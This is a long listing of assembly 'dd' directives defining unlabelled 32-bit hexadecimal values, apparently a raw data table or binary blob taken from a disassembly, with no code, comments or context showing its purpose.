dd 8D13D790h, 5645359h, 461C7D5h, 0CD2A85D4h, 5B8535DEh dd 7501C149h, 4B90AE66h, 0E5F92506h, 0FCD2101Bh, 0E1038C1Bh dd 71234FCh, 5CAF8A22h, 667F4996h, 0A2360023h, 0EB21C78Ah dd 6E489D10h, 5E8DB325h, 9406E8Bh, 82B1104Fh, 5EFDC7D3h dd 77706BA1h, 15380341h, 0C8829A5Fh, 0F808C515h, 2A19C0CAh dd 1CD476C1h, 4015BDD2h, 45BE3C3Dh, 3BF3899Ah, 59B81312h dd 0A66AFBA4h, 4074E12h, 0AE2EADF8h, 25575273h, 1E79D9DEh dd 50F2F349h, 8D983ED1h, 0FF587225h, 3CF51A20h, 1500F136h dd 9673E031h, 444BF50h, 893D5FCEh, 0E1E6EB34h, 21D70AE2h dd 35DB5C2h, 0FC5712Ah, 0EC443B80h, 74AFC5B7h, 0A8EBE90Eh dd 607B012Eh, 958B88B1h, 42092AEDh, 0D6017461h, 0A3001A46h dd 9E541493h, 5EBE8561h, 64DE0840h, 34492436h, 1A7D08F6h dd 0FBB3C2A5h, 0FF37D0BEh, 757CF104h, 78811573h, 0DB2B2455h dd 0C01CC820h, 79CC5EFEh, 0CE3CED04h, 29C1CFAFh, 892B15D9h dd 0D61B38E8h, 8E08804h, 6E5FBDBCh, 11DE0710h, 0F364F0E6h dd 0A64EB9BCh, 0F179E080h, 0F7F84AD6h, 0AC74492Ah, 4BFC9F6Fh dd 95098543h, 8B127EBDh, 4BCCF3D8h, 956A578Ch, 0F5E2FA4Dh dd 27B85933h, 0D1502D45h, 0A44C01ADh, 0C08060D7h, 0A7857EDDh dd 16AC14F9h, 0D374178Ch, 0E5770C8Fh, 8E9996AFh, 61AFC080h dd 0FA0AA4h, 27D4A184h, 0A3B6F159h, 7760E9BEh, 6C6BBBh dd 0EB45899Eh, 1B86A754h, 65460E00h, 60CAFCAFh, 715B7351h dd 965F1961h, 6E813466h, 18C8C89Ah, 3DCE3AC0h, 89710467h dd 0AA0E959Dh, 14C8AFDBh, 8BF53BC0h, 9E9497FEh, 823E3245h dd 0FBF19601h, 3015003Bh, 84030BD3h, 316500C8h, 5D34FDD0h dd 577C80F2h, 432AF027h, 0CB044B5Dh, 9606406Dh, 2790FC55h dd 754CE16Ah, 41694CCh, 0DF80098Eh, 0E3DDAA68h, 0FFA86A3Dh dd 153F0114h, 16249450h, 9CBD04F9h, 39C2BAD3h, 0FAA7D061h dd 6620ED69h, 97C67BC9h, 3A45A494h, 4AC9C130h, 6106F721h dd 0A7D3F748h, 6F4C122Fh, 11DA0056h, 9B8E58AAh, 0C5094AB7h dd 5C7BAE2Dh, 0A003043h, 8D6EF7A3h, 861CE946h, 942FFF2h dd 5E1AC1BDh, 71DB696Eh, 138C7150h, 7F18273h, 990A0560h dd 0C401776h, 0EC6922h, 9A8A7766h, 0AF730799h, 0D9DD1A0Fh dd 7DF75219h, 81FC9A5Eh, 1DA68D4Eh, 4AB7BCD4h, 0DB7ED4F8h dd 0CDBED384h, 7422382h, 0A5C16BDEh, 585E32C0h, 6EF304E2h dd 0E8B7D4B1h, 0E8E617DDh, 5A4B30BDh, 0C249100Fh, 12EE0616h dd 0B618CDF8h, 0C060F22Ch, 970971CEh, 9D8B7790h, 0C982BD4Bh dd 0B9BF9890h, 2B8D00C5h, 0CB65DAE1h, 53005FBBh, 6331D63Bh dd 0F150868Fh, 125A8130h, 0E6905BD0h, 0FEDCE0B8h, 1345705Ch dd 0BE60EBD1h, 0E3066CDh, 0FCA9B430h, 0EF7AE401h, 19D2F850h dd 4F751F70h, 9238DF09h, 0B9964FFCh, 8C1AAC53h, 54FA3A01h dd 0D8513194h, 409D202Eh, 2F00FBA4h, 0AE71E3C5h, 988687Eh dd 0BB9BA3CEh, 5BA504D3h, 0F64350B0h, 0B10076FEh, 533BF60h dd 2C8B65B3h, 0AD40398Dh, 0D9938770h, 18F00778h, 0A50E44Eh dd 0AE136EBBh, 1A24418h, 60FCA789h, 0A005C663h, 9787AD7h dd 26A5EC0h, 48DC3B54h, 0D1102094h, 0CF801D02h, 44EB896Dh dd 14A7729h, 0F0FC3D55h, 6103B5ADh, 8026685Ch, 975C901Bh dd 0CBA0B5A4h, 3D8C78BFh, 0B79F6A7Dh, 4BDE003Ch, 0CBA69315h dd 81D9822Eh, 35355552h, 42A9F1A5h, 9C5799E9h, 0CE02169Ah dd 49A7A18h, 65B03582h, 0DBE03FF6h, 0B52789A3h, 7B2009FDh dd 80CDAF65h, 0A384EC40h dd 0BD230849h, 252A25E1h, 907B540Dh, 0D9610260h, 405EB83Eh dd 98093EE2h, 0CD904F1Eh, 3EBCE50h, 2BE9158Fh, 60520774h dd 972F59F9h, 0BA48074Fh, 0D0F647E0h, 0BD0B1708h, 6BB5A18Dh dd 9A3BEF9Dh, 0F1B781A1h, 0AEF81AA4h, 3BC4139Bh, 24E80131h dd 3BFF6A7Eh, 0A0012D6Eh, 0EA3EC897h, 0EA914576h, 8B85275Fh dd 0B6C15BD9h, 7A2A2319h, 0F8820F09h, 0F8F0C974h, 8A0E4EB1h dd 0EBB47E93h, 11D4142h, 0C2B032B3h, 0FE40F774h, 0C01150h dd 87548BE7h, 2A6ECAB2h, 0B52F29F6h, 0C6352C5h, 71E470E6h dd 0E6B5114Fh, 41BB45D3h, 2E08F940h, 0C06A4E89h, 0BAAED40Eh dd 0B7D217F5h, 0BF99E0D9h, 0EDCB13B3h, 815CA071h, 0FD53EF09h dd 5DA65766h, 0BF00442Bh, 0D18B70FEh, 65E9EBB3h, 0BCFC4B83h dd 2E6B80B2h, 0D047E1h, 78B4A933h, 19A60174h, 4C2C090Eh dd 3D8572B5h, 0BC5F34AFh, 0C380085Eh, 1DE0B1E9h, 5E323A2Dh dd 0E9F92119h, 6D0DAC45h, 3E32A960h, 0CCEA00ACh, 47CEA425h dd 4D2782F7h, 9668461Ah, 48E425D4h, 10D02053h, 0D94B2C65h dd 77047E49h, 0E3C43E17h, 5E495D1Ah, 4BE8CE45h, 70C27B2Fh dd 0DC163476h, 5A0F8C5h, 4C02830Eh, 0C591FBFh, 0CD92E063h dd 0BFE5B51Ch, 508C7BA7h, 0FF3B82A9h, 0FAE50112h, 0FF8B9F5h dd 0ED5D8748h, 36FCE111h, 0D7A2F14Fh, 5EBFA570h, 617AA0D8h dd 140469Fh, 0A84B5B4h, 0F110B0DAh, 66092BEDh, 76595Fh dd 9D955A06h, 0CA1D2D01h, 7AA78D89h, 0C02B264Ch, 9400DE3Ah dd 0E20B0CAh, 1993C07Dh, 7EF9CEA3h, 78243AD9h, 73F6F212h dd 0A555B6D2h, 5F8FB2AEh, 3FE05CB6h, 9AD23294h, 0D84059F2h dd 2D7BF135h, 496A2B3Eh, 49DC9802h, 7A74F562h, 21846D6h dd 0C658F205h, 27175DCEh, 401D4DA7h, 2921409Dh, 77FC3FE9h dd 717DCA4Bh, 70DA8B88h, 78EFBFB8h, 0F0808367h, 0E8A88Dh dd 813ECCD5h, 2E5DC2DBh, 9C9D434Eh, 0C1A8D73Dh, 0F689FA24h dd 922AF108h, 7386FE1h, 2FB6D54Ah, 95096E60h, 32479735h dd 5F03FB89h, 0CB0140BDh, 0E9CCEE76h, 50E64CA7h, 391A512Bh dd 0DD210110h, 6E181CF9h, 722BE800h, 6ABA805Fh, 4E1ABA5Bh dd 21978A60h, 818D0472h, 0B7600B29h, 216782F4h, 0BF783E8Bh dd 42A44327h, 845EB786h, 0E8110EACh, 29F65A7Eh, 5B0E96E0h dd 38289F09h, 447FD2B1h, 55B26040h, 45B53319h, 743A61FBh dd 0A031E687h, 9E6A774h, 1C4E783Eh, 90A583D1h, 0C8351Ch dd 0F9F8FD2Ch, 10097572h, 0C671EB02h, 432B84C5h, 908514D2h dd 0E25A1BE8h, 7AB00E2h, 6367BFA5h, 0D911725h, 0B836310Eh dd 4B90C0FEh, 27A6F701h, 26FB7DCBh, 0E50E8CCh, 5F1B3EDBh dd 5DCCBBB3h, 9C7212BBh, 0E1C9C590h, 309E7BB0h, 9D006D94h dd 0C571088Ah, 6803D935h, 957BB0B6h, 16AEE40Fh, 2CF56212h dd 111727Fh, 0DE1D8333h, 3EBC9867h, 4900A5FCh, 316AA353h dd 9BF898Dh, 0D61B5EF0h, 0E1271446h, 4BF7D46h, 0E9022C76h dd 6F550187h, 0D04F41A4h, 0B83420CBh, 40B0F077h, 35224924h dd 0B7779066h, 0E92B2884h, 8531C25Ah, 25FDDE6Dh, 0BF0459E6h dd 5F244A28h, 0E9D258E9h, 0FB1A872h, 8FD1DC80h, 880F9CAh dd 891A2A9Dh, 57EDC204h, 64252A45h, 526F00E0h, 45D513C8h dd 8018EF2Fh, 0BD9AD3F3h, 881C4E61h, 0EB3D8163h, 2E138177h dd 0E8605696h, 0E5806978h, 186BE7E0h, 87C4E00h, 168EEDA3h dd 0ADE800D0h, 0F2CEA99Dh, 0E2008A5Eh, 0BB505B61h, 25C8F3FDh dd 0F85B9676h, 1EF7D70h, 1B1CDCDDh, 68119D09h, 67CD4BECh dd 0C562DC6Bh, 90683040h, 0E1882475h, 0ADB9824Fh, 0B7DD1E96h dd 0A9FA0344h, 5FA0C78Dh, 34134498h, 6CA1F5DAh, 0C0C6DE6Bh dd 70987BA5h, 95292753h, 0FFC90ADDh, 0B4DDCE25h, 0D7A83CABh dd 157D2DCEh, 0BD0472F3h, 5E14266Dh, 11059D09h, 0FE228D1h dd 2630758Eh, 330BB308h, 743049BDh, 3B2D7133h, 74E889EDh dd 453E7D02h, 740DB71Ah, 0B529401Ah, 768730ADh, 699D8904h dd 0B3FE1423h, 756300E1h, 5B94CF0h, 61250073h, 48E02042h dd 2EE8165Eh, 0C031C858h, 22C57A3h, 8F6A01D6h, 0D1B7DBA7h dd 7BB9DC50h, 43F29497h, 0F06A5F20h, 0ECF9221Fh, 75486041h dd 3400ECD7h, 407D8E02h, 0F8442CC1h, 7F220992h, 1167525h dd 0F776DE69h, 2EE0184Dh, 93A612Dh, 1244CE63h, 0D64A5309h dd 165970FBh, 0BA258618h, 9FD0EEB0h, 9A015235h, 0FEB70F5Ah dd 0AE24122Fh, 0AB12127Bh, 5BE5F7F8h, 3E006F6Ah, 0B6EE40E4h dd 81005532h, 539899DBh, 9851964Dh, 0ED5FE6B5h, 8DECB6A5h dd 73C90997h, 33B5AFB5h, 92983D00h, 0AA4E512h, 0B5B76F8Eh dd 0D94FA58Fh, 0E6F25361h, 7E3050CDh, 8105E309h, 2F0D0775h dd 10BDAA74h, 434B6DA8h, 14C89FDAh, 60EF2AC4h, 919D3165h dd 0F27AE9Ah, 8CBAD58Ch, 85630EFEh, 7D6E84Ah, 5AC10026h dd 61240A96h, 5197C283h, 0EB9E02h, 0B1B96020h, 0D37E2E0Dh dd 4309D6E8h, 781F79FEh, 51095CA2h, 0B913845Bh, 89AD289h dd 7DEC0E81h, 7D602FE6h, 9F6ADAB7h, 61E0034Dh, 9371362h dd 0DF7B52A8h, 6C9568D8h, 0C8EB04C9h, 0AB5B9255h, 3BBBBCD8h dd 7627A577h, 97B74462h, 8202E080h, 5C589C2Ah, 0C948D1C0h dd 32736269h, 36181C59h, 5116A100h, 963EDCF7h, 0FB0F4ED6h dd 5DBF7B40h, 971C64D7h, 6E603B99h, 0C8A11720h, 97372C98h dd 35C102BBh, 2D5E61AAh, 81153951h, 531F9D2h, 1DECF612h dd 0CDC8FA93h, 0EC650145h, 27C9D8A2h, 15A120F4h, 0E98B97Fh dd 1A0BE928h, 6255C903h, 809E657Fh, 94A3F70h, 0B9953196h dd 9209AA42h, 5FF0D5FBh, 395309C5h, 8A1B5A41h, 3548DDE0h dd 0D600EE79h, 0C95BD03Fh, 160A6730h, 0BD02C8DBh, 0C8BD8E82h dd 700B2D2Fh, 355D4BC2h, 80199145h, 0C5B557A2h, 0C2B05031h dd 86C225EFh, 4439F87Bh, 0A6170525h, 838F5F47h, 9F4A1956h dd 3EC8F9E2h, 0DD9D0382h, 0E9555E08h, 0DC815Eh, 0EF120C2Ch dd 0B0BB8E38h, 0D1852909h, 40C55E10h, 20ED381h, 148767F0h dd 530EF53h, 0B0E95F35h, 29CDE095h, 0C89259Dh, 19E440E7h dd 299CD160h, 0CA593E14h, 57916D5h, 4F098AEBh, 2553FFBh dd 8A25BD22h, 0A7295EFAh, 0D0706773h, 0A976090Ch, 2B052B91h dd 343FAF24h, 76031423h, 4A75B529h, 0D29120E9h, 12004EB6h dd 85998849h, 55C344h, 0B07DBEA4h, 0D535693Dh, 81A2175Fh dd 0A4665B00h, 86BFFE91h, 7768E30Bh, 9A778DCCh, 93B4ED6Ah dd 0AD038294h, 0FD18DE2Ah, 75C0C5DBh, 42BFDA23h, 0A5685E38h dd 58A1E0C2h, 858909EAh, 0B5571965h, 801B11A3h, 141FCE6Ch dd 53190080h, 5690BF0Dh, 0A5907C7Eh, 5F0B0920h, 60842050h dd 0BA00A708h, 7DD66F27h, 12C0EAD8h, 5C9ADE86h, 0C1B5C900h dd 0CBDB5929h, 38A545D1h, 0C2A50BF1h, 0C4F3D540h, 0B7CCE6D1h dd 0BD5F4E77h, 8C17AC11h, 34157202h, 4DD1FFB5h, 5897E19Dh dd 0E8C27BF5h, 1A1C5D14h, 18F2C043h, 2568AC30h, 4B567A16h dd 6AF2A802h, 0CFB75D02h, 0D6B7FA00h, 9DFD8AD5h, 0FCA56571h dd 243FE004h, 0EC147629h, 22D2C2C5h, 0E7B90013h, 0CD8D7FFAh dd 1A00B17Ch, 64826CCFh, 0E086CADAh, 0FCFE4A48h, 0F5B0971h dd 408A5C31h, 9CACB84Bh, 0B2103A0Bh, 132FFC6Dh, 6BF290h dd 0ABAD3650h, 7841C17h, 6C31FD3h, 0C40500F9h, 8F4A4E7Dh dd 4FCE96F0h, 2DAC043Fh, 582CBA2Bh, 71E6B7FBh, 0E9D1B709h dd 71607429h, 27F22134h dd 86B0A09Fh, 518CC54Eh, 0D9A4890Ah, 66D82B1Bh, 41CF0125h dd 1207C290h, 75E4F408h, 17DA4B12h, 16AC92E9h, 6B18138Ch dd 2C73F1EBh, 0E0F88096h, 61E6B0h, 2A3F103Dh, 36AB86B7h dd 88696607h, 0FA69C9B9h, 0EDFEAA7Fh, 685AC047h, 4A7C1F84h dd 799EF225h, 20A105ABh, 1C93C009h, 1F04EB46h, 532419ABh dd 0EC9044BDh, 0B838A04h, 0D644BC40h, 847D9BABh, 3CBDF3C4h dd 801BDAD3h, 0F16C7455h, 0FF6A27F8h, 0E1070AB7h, 0E3E0A725h dd 5CDDDB62h, 992DAF37h, 0FB24F3FAh, 1115757h, 0F65FFC12h dd 1D2E3011h, 25F98B53h, 26E4315Bh, 57B8B070h, 1025A520h dd 56670E6h, 71E491A6h, 9EA29BC4h, 37EAD980h, 647B27F9h dd 62537803h, 0A88C51DDh, 970F6A56h, 0EBEF1BA4h, 1AD0A9Ch dd 1795F45Bh, 0F0222656h, 1BB0D070h, 4B1ADD20h, 8B2CC15Bh dd 29202FFAh, 814DDF80h, 61DA7060h, 5ED21141h, 0DB80042Ch dd 8129BC7Fh, 498D2956h, 0B75FA624h, 0E8D1A122h, 2CFE6480h dd 0E300155Bh, 2DC3B01h, 69304A6h, 41A2F767h, 9122446Dh dd 87E93307h, 11E1093Bh, 70216A31h, 98921B53h, 0FED2C804h dd 463E8B97h, 0ED3ADD7Fh, 25FCE02Fh, 150D41E9h, 52E9A781h dd 9D0B0F85h, 4B43E841h, 9901358Dh, 0F62A16EDh, 43722D7h dd 71BD8956h, 7B5B090Ch, 52BF013Ah, 47A18B0h, 0C0FE5914h dd 0FEC78155h, 7D480015h, 0FAB15CAAh, 3F1CF519h, 0A549DFF9h dd 84F7B47h, 467C5BE1h, 3F93481Ch, 0D3100194h, 6ADFE46Bh dd 0C0BDDB3Bh, 9F08C831h, 0F3E3173Fh, 0EFE630F9h, 6400D857h dd 40FD0478h, 45F6341h, 69B5094Bh, 3B9BAE2Eh, 0E1CE1BC8h dd 99F52B91h, 609EF12Eh, 244049A6h, 10CF38B9h, 0C0099B4Ah dd 0B9B7D35Ch, 0D76A008Eh, 57BF90FBh, 619734B1h, 9B2AFC83h dd 0B8D99773h, 2089B29Dh, 0FC5FE195h, 0CBB88C7Dh, 8B0B7874h dd 8034E562h, 2BCE5644h, 84954A9Dh, 0A897AD8Fh, 57138C15h dd 3CE3BA14h, 0A23015F2h, 0C151BEC9h, 6E23E19Dh, 0DA4E11DFh dd 0BEB4801Bh, 4FD5E50Dh, 0AFBFC807h, 3F4F0109h, 0C8DB0F53h dd 0B5D5AD19h, 6DD3840Bh, 8183E80Dh, 0ED4EEBC7h, 603CC86Ah dd 0C802EB9h, 8B849439h, 7ADC0393h, 0D60656B7h, 0CC801798h dd 5B61C613h, 0BE5D06A2h, 0DB97E8B8h, 3D18873h, 0F8139424h dd 0FC2505A3h, 3363E6E5h, 7719CA9Dh, 7540FCCFh, 0B8BD71D0h dd 159120BAh, 17BF6609h, 47F17957h, 0BDD70955h, 451102CDh dd 774458A3h, 0DCF7D49Fh, 0D7436513h, 284C02A3h, 0BF10D51Ah dd 4E8B15C0h, 0E5E1FF25h, 42F39C2h, 0DDD271F3h, 0CF0254D1h dd 0C10CA72Ah, 9DA1543h, 350D1B02h, 0EC71C75Eh, 0E98D3110h dd 3CB3344Bh, 0B7ADA388h, 84550926h, 2DE47474h, 0EDA494BEh dd 0E3B8B832h, 6EC1172Fh, 1AEF09F2h, 94C1789Dh, 8503409Ch dd 0ED002396h, 333C200Eh, 126DE5D5h, 0F4BDA13Fh, 14A5DB3h dd 94A0D5A7h, 460B50FDh, 5C196DC7h, 0BCE140F9h, 221CC9ADh dd 0CAC95F04h, 0A5D97BFEh, 370511B5h, 0A2BB8A94h, 7D4B0088h dd 0B8E0707Bh, 2DC0EE6Bh, 63DB2BD1h, 0E8191759h, 0CBA0DD33h dd 9004F88Bh, 6050DA8Ah, 0D85F2BCh, 47328039h, 0D90E941Ch dd 0A2768102h, 7D38897Bh, 0BA66EB00h, 90EC5B3Dh, 0DF2B7B5h dd 3A3A0C0Dh, 849C2h, 0B8852568h, 3A20B75Ah, 1C7EF6CDh dd 8006C6E0h, 612B0D5Ch, 0E6012188h, 518D3B80h, 0A32BA99Ch dd 0DD8A132Eh, 8CAC7384h, 667EDA04h, 0E5F4F648h, 98D4DC9Ch dd 2B252579h, 0D16265D9h, 0E9121412h, 1298016Ch, 80ED0075h dd 0BF6ED938h, 970051B6h, 0A3260943h, 25E740B3h, 0D0E2870Bh dd 605CEF75h, 0B177BBF3h, 0FEA60E5Bh, 4B35EE50h, 29EBDC05h dd 104B9D77h, 893744B7h, 0BD2CE4E1h, 0A1BBCAC4h, 0E27FA00Bh dd 31B55C85h, 3150FF0Ch, 0A0822829h, 745EE2C5h, 0CBD60008h dd 55E1EC52h, 0E50217CAh, 89EDB797h, 0E4CD5734h, 0C048DCE9h dd 1CA5BD29h, 62ABBA97h, 9F237782h, 0DAB00F68h, 9849B3DCh dd 0A6F0041Bh, 0D8EE2344h, 0EB848D75h, 88EADA6Eh, 4D0CC019h dd 0EB078474h, 0A1A5BF75h, 0C7826B24h, 3EB14056h, 0FC595CBCh dd 0BEDAC038h, 0FFE63F16h, 1B9A3CE0h, 126E2201h, 0DAC255A9h dd 2FC5D571h, 0E3D8C04h, 2ACB39h, 0D1D015B6h, 9377219Bh dd 13511675h, 21F5F55Dh, 0BA9B3A03h, 1982AB8Bh, 0E15EB7D9h dd 3FE78158h, 2AA5F36Eh, 0CD27D6EFh, 1DAF43E3h, 0F2257EA6h dd 3BD6E444h, 1621BD0Bh, 0F810A7DDh, 3700DD80h, 78162642h dd 126C73F6h, 0F66625E6h, 3CA5E037h, 3B429FC6h, 9A53D75Ch dd 0ABBDD504h, 87C41700h, 24FF71A2h, 1772E44Bh, 1360E821h dd 0D0A30639h, 0EF03C984h, 0D701E97Ah, 6D85018Eh, 7B26A1Bh dd 0A86F1692h, 0DABD4AECh, 18C14B8h, 0B9BF52EAh, 2E3B8E83h dd 9B8C54A0h, 610BF016h, 8418E87Dh, 0E5AE60BBh, 0B9668021h dd 61CF6C12h, 0B65EC4F7h, 0D8D0A3D7h, 474392Ch, 0E7C47750h dd 0A7C9EA01h, 75B5302Ah, 0ED00DBB5h, 0E301FB96h, 9ABB82CDh dd 7AACA0DBh, 66959538h, 18BD6740h, 6B9000E0h, 0DCE9D381h dd 0D39572A5h, 181D59BBh, 1EA1006Eh, 0F891F696h, 0A34C069Dh dd 38974EFh, 0A33BC5E9h, 0BB6B9674h, 0F2319705h, 0FCBE2ECh dd 81990A3Dh, 0ED9450FBh, 4B79BD60h, 4CB6A706h, 1C2512D5h dd 0FAD294E9h, 9C538C16h, 5AAF6BEEh, 0CA65DA61h, 41090760h dd 0DE172E11h, 2D7CDA6Eh, 4579F999h, 553DC400h, 0BB13CBEh dd 0AC4C15DAh, 99724D0h, 0AD2137F9h, 9A975F4Eh, 8B84DD16h dd 867781DEh, 4DB72BB8h, 0A4707FB0h, 0E5076B02h, 609A9447h dd 5BDEBF80h, 7454556Ah, 0F1210E93h, 0EDFC2F10h, 631464DBh dd 0FF6425CDh, 791D24D0h, 82B450C9h, 5AA03C35h, 5F054029h dd 640B4D97h, 0E3376016h, 9D2B096Bh, 1C5D0649h, 8023444Ah dd 0A479C730h, 5CD4B6BFh, 38C0F650h, 97DD20B5h, 0ABA71F09h dd 743BDDC1h, 0DAB7D013h, 1DB25FA6h, 9FC130h, 0A294EF7Eh dd 91CE8630h, 0B73C69Dh, 1475B509h, 9EF01657h, 0BD14D49Fh dd 965BF50Ah, 91BAFD2h, 63288DD5h, 69C15EEAh, 0A7703C7Bh dd 21C01CFBh, 0D0E565AEh, 0D482A11h, 0F71B4D12h, 27884AD0h dd 0F2A00002h, 89A344E5h, 0FF005A90h, 712F27FAh, 7DAA1042h dd 5AB77F51h, 0A6F1B95Fh, 23F92068h, 0E229E925h, 4B755BAh dd 13E4DF00h, 0EDE11631h, 13D2B928h, 4C32A94Bh, 12C12ED3h dd 7B037909h, 815680C2h, 4EF66CBh, 5C5B5125h, 0AED8133Dh dd 7B316830h, 5DD200B4h, 211A2B30h, 75008540h, 0E74E0502h dd 561DC679h, 29B06390h, 3AFE5F96h, 90D282Fh, 0DE697CC2h dd 901C47Dh, 0BA0FFE61h, 0F5731AFFh, 42F4E45Bh, 9EB7B200h dd 583849E2h, 8FD6B5ECh, 46058E48h, 2FA118EEh, 8C6E13DDh dd 7F00BB60h, 536050B1h, 968BB35Bh, 0AA70A731h, 6A5DC6F6h dd 0CCFCE9F1h, 0D79E0192h, 8BDB354Fh, 690F30FAh, 90601732h dd 8E3D5B29h, 0E20FE6Eh, 0CB756473h, 0A1B72B05h, 0FADE6A61h dd 0AB8CA885h, 95F975D8h, 1B648AEDh, 0B911DB60h, 0F835D026h dd 0D1FF7404h, 0C70059F2h, 0E4403A6Ch, 95017F52h, 0F83CB7E0h dd 0F3D43D9Eh, 618613ADh, 1121E85Dh, 0B7712425h, 0FC047C4Dh dd 0B5F6026Ah, 8CA420E3h, 0F807BA81h, 0BEF3327Ch, 2C47ED30h dd 0CF8500D2h, 0F6ADE321h, 3179DD1Eh, 5BF5614Dh, 0AC1E6DA3h dd 129C6667h, 0F9165251h, 8C19ACCDh, 9B862707h, 8289477Ch dd 23521D0h, 1C5E28E9h dd 8FEE5070h, 0A0228D61h, 0B96AAC71h, 13841298h, 0CAC05BADh dd 0B3745243h, 0D60185E8h, 55F9F58Bh, 4726BE12h, 3F8C17F1h dd 2C037808h, 225909FAh, 0FC5A725Eh, 0F902D427h, 1CEF6DDh dd 0E8095578h, 0C803679h, 1AEE9CA0h, 0B53239D6h, 0FA1BD201h dd 4FB914Bh, 0D1A67C00h, 1A5711h, 0AE810AB5h, 7E32E9CEh dd 0BF520400h, 44F07D4Bh, 0BB90E25Fh, 6A1C796Bh, 0E9A41FBDh dd 0CA2EB9FAh, 0DB800946h, 74D13Ah, 0E184BA32h, 0BF00A2BDh dd 33C453DAh, 951675Dh, 7B8BC36h, 2360CADEh, 810B95BDh dd 6A752F5Fh, 77A02EF6h, 90B50A4h, 0D70EEDBDh, 17B0804Ch dd 6104C535h, 0BA4095AAh, 2C2E4108h, 0E5691F35h, 3EF4527Ch dd 0CF82364Ch, 2F26E9F7h, 0DEC6775Eh, 0B0F82F2Dh, 16F79B40h dd 70E6B913h, 97530FBh, 162D585h, 0E171E436h, 0DD2BD7FFh dd 80762876h, 8C7609F3h, 6C0A12EEh, 0BB51F02Fh, 7B9EFC02h dd 5E42B74Dh, 30BF4056h, 995F54Ah, 4193D75Ch, 53180CCAh dd 30539860h, 8B172F91h, 5B1361F1h, 0AD0DC82Bh, 0C06BA3ADh dd 6EE9F8E4h, 8B0763D6h, 5F114C44h, 122FFD8Ah, 8D090434h dd 9E2EBC06h, 1705BD46h, 62B72512h, 6C0E36EAh, 0AFF9D6DEh dd 14B9D664h, 72C06B4Ch, 8F4FD11Ch, 0E1C2B202h, 0DDC9EAD3h dd 0F94BBB14h, 0C67834D9h, 0AD9509C1h, 81A80625h, 0C43EFC5Fh dd 8427B916h, 9136CB0h, 1504F877h, 0BF12FE31h, 6BD3D2B2h dd 19100B29h, 3CE700F8h, 1EF81ECh, 445228FCh, 50FD2B9h dd 22956704h, 6B5365AFh, 0FF301459h, 348D10FFh, 9814803Dh dd 0D04B83FCh, 66C02B2Eh, 0DEBAEECBh, 0E9E967C1h, 0CDE94373h dd 1E3240C5h, 0C531EEA1h, 1971663Ch, 637FB105h, 59B90ED3h dd 0A42D2083h, 95A0556h, 8061B3D2h, 0B22A0871h, 7469C527h dd 1D46D602h, 14721E00h, 0E1FEFB75h, 7107B712h, 23A58404h dd 412125F4h, 1E9D2B2Ch, 14006A2Bh, 62FC96B9h, 570E3D62h dd 5E694A47h, 7A00D487h, 0E2E81FB2h, 2DC55923h, 0E50929F5h dd 0CA72295Ch, 0C36D7D9Ch, 0DE8B23E1h, 8137202Eh, 0AF12C0E7h dd 21BD5109h, 0AC35A9D3h, 78EE002Ah, 134EF1Eh, 629A6D9Dh dd 0EDE1FF2Fh, 0E55CC03Eh, 0D325A80Eh, 115DC5F5h, 2CCA4A91h dd 9B1B9F35h, 45EED239h, 0F8238EF5h, 717280BDh, 1F579B2Fh dd 0E2B1F4h, 8C395415h, 0CA12B93Bh, 5EE20123h, 3E565E9Bh dd 0C587F010h, 2BDB02CBh, 6049B627h, 9F70207Bh, 939000B8h dd 62425B73h, 997DEB6h, 0DC70FE60h, 23FC5601h, 53BB6613h dd 2CA5A52Bh, 9529209Dh, 412257A4h, 1BE9BD0Bh, 0BCB3752Ah dd 6E5F82B1h, 5655E265h, 0D69CE807h, 22D68A00h, 0D4D5A0DBh dd 9979B04Bh, 0BA622FEDh, 0DC5CF3E2h, 245CB7DCh, 2CD98B0Bh dd 0D3D80654h, 11A4F84Eh, 6800119Dh, 0E017D21Bh, 2E1224BBh dd 0C4A0074Ch, 4D3176E4h, 0E3BC8B20h, 18016D79h, 32EA9240h dd 28615161h, 0C6F586Eh, 71950BC9h, 87D9644Ch, 0A29B11FDh dd 0EA242B65h, 2A859CDEh, 18A4AC2Dh, 597ABBCBh, 31E98029h dd 609A82B5h, 2D57956h, 0E76A7EA0h, 7D35CA83h, 6DA78190h dd 4C1DF900h, 0BEC12234h, 585B615Ah, 2BDDA9E8h, 0CD2BEC99h dd 55B803F9h, 85017305h, 0CBAB0EF1h, 55DA4E58h, 2750809Eh dd 96992BC5h, 0C6DA8B25h, 2D5FB02Bh, 6FD331D9h, 0DE181679h dd 9FEE7828h, 5B0D1520h, 1AF6F89h, 0DB19BB1Ah, 0A23B4B2Ch dd 0C2A8B8h, 78A87D66h, 0CE827E88h, 87172EF7h, 6F8E1B9Bh dd 0C889AE85h, 0B4880AF2h, 49ED0774h, 62716991h, 0BBA52E68h dd 31C2B050h, 768D594Bh, 44EDFE30h, 527BD08h, 726A7C0Fh dd 50739DD8h, 44AF93D6h, 0FA880FFFh, 31E5DA99h, 995A5BF0h dd 9BCABA04h, 5FB88B98h, 5625626Ch, 64B1CDF8h, 0F0F4601Ch dd 896802B5h, 0E0E82D3Fh, 7A1FE7DEh, 0F7B2D6F4h, 33452100h dd 8FFF958Ch, 0FD90E20Eh, 3F2D2674h, 0ECAA6EAh, 79184C21h dd 791F658Eh, 4771080h, 0D8E7F712h, 3B325402h, 0DC5F5B51h dd 1446D4EFh, 5C60C12Fh, 0F125026h, 5AED188Eh, 0D83EC6C1h dd 90B96EF5h, 4F09BBC0h, 5B4D5C0Bh, 39AF966Dh, 0EB68842Fh dd 0BCAC567Bh, 0A7BFABA7h, 7D31970Bh, 4AE9DDC8h, 537A3EE1h dd 8220E813h, 540F3007h, 0C4EA1BE9h, 321DE188h, 0F9CF8E6Eh dd 496A3Ah, 1519DAADh, 9C86C289h, 3850877h, 0C1AA62Ch dd 1CCC7D2Fh, 0A2A6DF04h, 0E7B84102h, 771A10A2h, 9500B635h dd 21432FE9h, 898CD352h, 30264B9Ah, 0B5315DDBh, 9D0A9289h dd 3854DB51h, 0DC005AA3h, 1B4D5D51h, 1897294Fh, 95C780E3h dd 292FE8CCh, 0A709D59Dh, 15599C5Bh, 96D42019h, 0ECF9504Eh dd 250EB71Eh, 9FC0BCEDh, 0B560D6D7h, 2DCFEE08h, 615650E4h dd 0CC205A96h, 12B7B84Ch, 0E30DD204h, 0B989508Eh, 639C0C4Bh dd 0C88A5E0Fh, 0E5B5D3D2h, 59AF50EFh, 0AB1BE905h, 0A3EF31B5h dd 8CBF095Ch, 0C8385D64h, 0CD9D09E9h, 6018E48Ah, 4A302F3h dd 0FA8BE3EFh, 495FB8F8h, 9E12BC30h, 678D096Dh, 0D9E75070h 